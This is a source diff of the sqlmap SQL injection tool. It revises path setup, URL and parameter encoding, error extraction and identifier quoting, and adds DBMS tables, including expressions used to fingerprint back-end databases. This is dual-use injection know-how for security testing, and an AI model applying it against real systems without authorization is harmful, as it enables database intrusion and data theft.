retVal = retVal or ""
|
||||||
|
|
||||||
return retVal or ""
|
return retVal
|
||||||
|
|
||||||
def setTechnique(technique):
|
def setTechnique(technique):
|
||||||
"""
|
"""
|
||||||
|
@ -1372,7 +1390,6 @@ def setPaths(rootPath):
|
||||||
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
||||||
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||||
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
||||||
paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
|
|
||||||
|
|
||||||
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
||||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
||||||
|
@ -1393,7 +1410,6 @@ def setPaths(rootPath):
|
||||||
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
||||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||||
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
||||||
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
|
|
||||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||||
|
@ -1458,7 +1474,7 @@ def parseTargetDirect():
|
||||||
remote = False
|
remote = False
|
||||||
|
|
||||||
for dbms in SUPPORTED_DBMS:
|
for dbms in SUPPORTED_DBMS:
|
||||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
|
@ -1643,15 +1659,15 @@ def parseTargetUrl():
|
||||||
if '=' not in urlSplit.query:
|
if '=' not in urlSplit.query:
|
||||||
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
|
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
|
||||||
else:
|
else:
|
||||||
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
||||||
|
|
||||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0] == HTTP_HEADER.REFERER for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
||||||
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
||||||
|
|
||||||
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0] == HTTP_HEADER.HOST for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Host header to the target URL"
|
debugMsg = "setting the HTTP Host header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
||||||
|
@ -1970,7 +1986,7 @@ def safeFilepathEncode(filepath):
|
||||||
retVal = filepath
|
retVal = filepath
|
||||||
|
|
||||||
if filepath and six.PY2 and isinstance(filepath, six.text_type):
|
if filepath and six.PY2 and isinstance(filepath, six.text_type):
|
||||||
retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
@ -2018,6 +2034,8 @@ def safeStringFormat(format_, params):
|
||||||
if retVal.count("%s", start, end) == len(params):
|
if retVal.count("%s", start, end) == len(params):
|
||||||
for param in params:
|
for param in params:
|
||||||
index = retVal.find("%s", start)
|
index = retVal.find("%s", start)
|
||||||
|
if isinstance(param, six.string_types):
|
||||||
|
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
|
||||||
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
||||||
else:
|
else:
|
||||||
if any('%s' in _ for _ in conf.parameters.values()):
|
if any('%s' in _ for _ in conf.parameters.values()):
|
||||||
|
@ -2043,7 +2061,7 @@ def safeStringFormat(format_, params):
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
retVal = getText(retVal)
|
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
@ -2315,16 +2333,6 @@ def readCachedFileContent(filename, mode="rb"):
|
||||||
|
|
||||||
return kb.cache.content[filename]
|
return kb.cache.content[filename]
|
||||||
|
|
||||||
def readXmlFile(xmlFile):
|
|
||||||
"""
|
|
||||||
Reads XML file content and returns its DOM representation
|
|
||||||
"""
|
|
||||||
|
|
||||||
checkFile(xmlFile)
|
|
||||||
retVal = minidom.parse(xmlFile).documentElement
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def average(values):
|
def average(values):
|
||||||
"""
|
"""
|
||||||
Computes the arithmetic mean of a list of numbers.
|
Computes the arithmetic mean of a list of numbers.
|
||||||
|
@ -2707,6 +2715,12 @@ def extractErrorMessage(page):
|
||||||
retVal = candidate
|
retVal = candidate
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not retVal and wasLastResponseDBMSError():
|
||||||
|
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
retVal = match.group(0)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def findLocalPort(ports):
|
def findLocalPort(ports):
|
||||||
|
@ -2830,6 +2844,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||||
# except in cases when tampering scripts are used
|
# except in cases when tampering scripts are used
|
||||||
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||||
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
||||||
|
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
result = _urllib.parse.quote(getBytes(value), safe)
|
result = _urllib.parse.quote(getBytes(value), safe)
|
||||||
|
@ -3003,9 +3018,11 @@ def isNumPosStrValue(value):
|
||||||
False
|
False
|
||||||
>>> isNumPosStrValue('-2')
|
>>> isNumPosStrValue('-2')
|
||||||
False
|
False
|
||||||
|
>>> isNumPosStrValue('100000000000000000000')
|
||||||
|
False
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
|
return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
|
||||||
|
|
||||||
@cachedmethod
|
@cachedmethod
|
||||||
def aliasToDbmsEnum(dbms):
|
def aliasToDbmsEnum(dbms):
|
||||||
|
@ -3617,16 +3634,20 @@ def decodeIntToUnicode(value):
|
||||||
try:
|
try:
|
||||||
if value > 255:
|
if value > 255:
|
||||||
_ = "%x" % value
|
_ = "%x" % value
|
||||||
|
|
||||||
if len(_) % 2 == 1:
|
if len(_) % 2 == 1:
|
||||||
_ = "0%s" % _
|
_ = "0%s" % _
|
||||||
|
|
||||||
raw = decodeHex(_)
|
raw = decodeHex(_)
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MYSQL):
|
if Backend.isDbms(DBMS.MYSQL):
|
||||||
|
# Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
|
||||||
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531
|
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531
|
||||||
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
|
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
|
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
|
retVal = getUnicode(raw, "UTF-16-BE")
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
|
||||||
retVal = _unichr(value)
|
retVal = _unichr(value)
|
||||||
else:
|
else:
|
||||||
retVal = getUnicode(raw, conf.encoding)
|
retVal = getUnicode(raw, conf.encoding)
|
||||||
|
@ -4068,11 +4089,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||||
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if isTable:
|
if isTable:
|
||||||
|
@ -4106,11 +4127,11 @@ def unsafeSQLIdentificatorNaming(name):
|
||||||
retVal = name
|
retVal = name
|
||||||
|
|
||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
retVal = name.replace("[", "").replace("]", "")
|
retVal = name.replace("[", "").replace("]", "")
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -19,6 +19,7 @@ import re
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
|
from lib.core.compat import xrange
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
||||||
|
@ -31,6 +32,11 @@ from lib.core.settings import UNICODE_ENCODING
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
|
try:
|
||||||
|
from html import escape as htmlEscape
|
||||||
|
except ImportError:
|
||||||
|
from cgi import escape as htmlEscape
|
||||||
|
|
||||||
def base64pickle(value):
|
def base64pickle(value):
|
||||||
"""
|
"""
|
||||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||||
|
@ -221,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None):
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||||
"""
|
"""
|
||||||
Returns byte representation of provided Unicode value
|
Returns byte representation of provided Unicode value
|
||||||
|
|
||||||
|
@ -231,6 +237,14 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
||||||
|
|
||||||
retVal = value
|
retVal = value
|
||||||
|
|
||||||
|
if encoding is None:
|
||||||
|
encoding = conf.get("encoding") or UNICODE_ENCODING
|
||||||
|
|
||||||
|
try:
|
||||||
|
codecs.lookup(encoding)
|
||||||
|
except (LookupError, TypeError):
|
||||||
|
encoding = UNICODE_ENCODING
|
||||||
|
|
||||||
if isinstance(value, six.text_type):
|
if isinstance(value, six.text_type):
|
||||||
if INVALID_UNICODE_PRIVATE_AREA:
|
if INVALID_UNICODE_PRIVATE_AREA:
|
||||||
if unsafe:
|
if unsafe:
|
||||||
|
@ -289,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
try:
|
try:
|
||||||
return six.text_type(value, candidate)
|
return six.text_type(value, candidate)
|
||||||
except UnicodeDecodeError:
|
except (UnicodeDecodeError, LookupError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -391,4 +405,4 @@ def getConsoleLength(value):
|
||||||
else:
|
else:
|
||||||
retVal = len(value)
|
retVal = len(value)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ def cachedmethod(f):
|
||||||
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
||||||
>>> __(2)
|
>>> __(2)
|
||||||
2
|
2
|
||||||
>>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
|
>>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
|
||||||
>>> __(foobar=3)
|
>>> __(foobar=3)
|
||||||
3
|
3
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -10,20 +10,29 @@ from lib.core.enums import DBMS
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
from lib.core.settings import BLANK
|
from lib.core.settings import BLANK
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import DB2_ALIASES
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
from lib.core.settings import H2_ALIASES
|
from lib.core.settings import H2_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
from lib.core.settings import MAXDB_ALIASES
|
from lib.core.settings import MAXDB_ALIASES
|
||||||
|
from lib.core.settings import MCKOI_ALIASES
|
||||||
|
from lib.core.settings import MIMERSQL_ALIASES
|
||||||
|
from lib.core.settings import MONETDB_ALIASES
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
|
|
||||||
FIREBIRD_TYPES = {
|
FIREBIRD_TYPES = {
|
||||||
261: "BLOB",
|
261: "BLOB",
|
||||||
|
@ -108,6 +117,30 @@ SYBASE_TYPES = {
|
||||||
20: "image",
|
20: "image",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ALTIBASE_TYPES = {
|
||||||
|
1: "CHAR",
|
||||||
|
12: "VARCHAR",
|
||||||
|
-8: "NCHAR",
|
||||||
|
-9: "NVARCHAR",
|
||||||
|
2: "NUMERIC",
|
||||||
|
2: "DECIMAL",
|
||||||
|
6: "FLOAT",
|
||||||
|
6: "NUMBER",
|
||||||
|
8: "DOUBLE",
|
||||||
|
7: "REAL",
|
||||||
|
-5: "BIGINT",
|
||||||
|
4: "INTEGER",
|
||||||
|
5: "SMALLINT",
|
||||||
|
9: "DATE",
|
||||||
|
30: "BLOB",
|
||||||
|
40: "CLOB",
|
||||||
|
20001: "BYTE",
|
||||||
|
20002: "NIBBLE",
|
||||||
|
-7: "BIT",
|
||||||
|
-100: "VARBIT",
|
||||||
|
10003: "GEOMETRY",
|
||||||
|
}
|
||||||
|
|
||||||
MYSQL_PRIVS = {
|
MYSQL_PRIVS = {
|
||||||
1: "select_priv",
|
1: "select_priv",
|
||||||
2: "insert_priv",
|
2: "insert_priv",
|
||||||
|
@ -198,8 +231,18 @@ DBMS_DICT = {
|
||||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||||
|
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
|
||||||
|
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
|
||||||
|
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
|
||||||
|
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
|
||||||
|
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
||||||
|
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
||||||
|
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
||||||
|
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||||
|
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||||
FROM_DUMMY_TABLE = {
|
FROM_DUMMY_TABLE = {
|
||||||
DBMS.ORACLE: " FROM DUAL",
|
DBMS.ORACLE: " FROM DUAL",
|
||||||
DBMS.ACCESS: " FROM MSysAccessObjects",
|
DBMS.ACCESS: " FROM MSysAccessObjects",
|
||||||
|
@ -207,7 +250,29 @@ FROM_DUMMY_TABLE = {
|
||||||
DBMS.MAXDB: " FROM VERSIONS",
|
DBMS.MAXDB: " FROM VERSIONS",
|
||||||
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
||||||
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
||||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
|
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||||
|
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||||
|
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||||
|
}
|
||||||
|
|
||||||
|
HEURISTIC_NULL_EVAL = {
|
||||||
|
DBMS.ACCESS: "CVAR(NULL)",
|
||||||
|
DBMS.MAXDB: "ALPHA(NULL)",
|
||||||
|
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
|
||||||
|
DBMS.MYSQL: "QUARTER(NULL)",
|
||||||
|
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||||
|
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||||
|
DBMS.SQLITE: "UNLIKELY(NULL)",
|
||||||
|
DBMS.H2: "STRINGTOUTF8(NULL)",
|
||||||
|
DBMS.MONETDB: "CODE(NULL)",
|
||||||
|
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||||
|
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||||
|
